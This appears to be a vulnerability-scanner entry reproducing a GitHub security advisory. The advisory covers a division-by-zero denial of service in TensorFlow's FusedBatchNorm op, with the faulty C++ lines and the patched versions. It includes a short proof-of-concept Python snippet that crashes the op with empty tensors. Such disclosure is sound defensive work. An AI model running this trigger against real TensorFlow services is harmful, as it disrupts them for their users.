QID 982494
QID 982494: Python (pip) Security Update for tensorflow-gpu (GHSA-r35g-4525-29fq)
Security update has been released for tensorflow,tensorflow-cpu,tensorflow-gpu to fix the vulnerability.
Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.
An attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.FusedBatchNorm`:
```python
import tensorflow as tf
x = tf.constant([], shape=[1, 1, 1, 0], dtype=tf.float32)
scale = tf.constant([], shape=[0], dtype=tf.float32)
offset = tf.constant([], shape=[0], dtype=tf.float32)
mean = tf.constant([], shape=[0], dtype=tf.float32)
variance = tf.constant([], shape=[0], dtype=tf.float32)
epsilon = 0.0
exponential_avg_factor = 0.0
data_format = "NHWC"
is_training = False
tf.raw_ops.FusedBatchNorm(
x=x, scale=scale, offset=offset, mean=mean,
variance=variance, epsilon=epsilon,
exponential_avg_factor=exponential_avg_factor,
data_format=data_format, is_training=is_training)
```
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/828f346274841fa7505f7020e88ca36c22e557ab/tensorflow/core/kernels/fused_batch_norm_op.cc#L295-L297) performs a division based on the last dimension of the `x` tensor:
```cc
const int depth = x.dimension(3);
const int rest_size = size / depth;
```
Since this is controlled by the user, an attacker can trigger a denial of service.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
- GHSA-r35g-4525-29fq -
github.com/advisories/GHSA-r35g-4525-29fq
CVEs related to QID 982494
| Advisory ID | Software | Component | Link |
|---|---|---|---|
| GHSA-r35g-4525-29fq | tensorflow |
|
|
| GHSA-r35g-4525-29fq | tensorflow-cpu |
|
|
| GHSA-r35g-4525-29fq | tensorflow-gpu |
|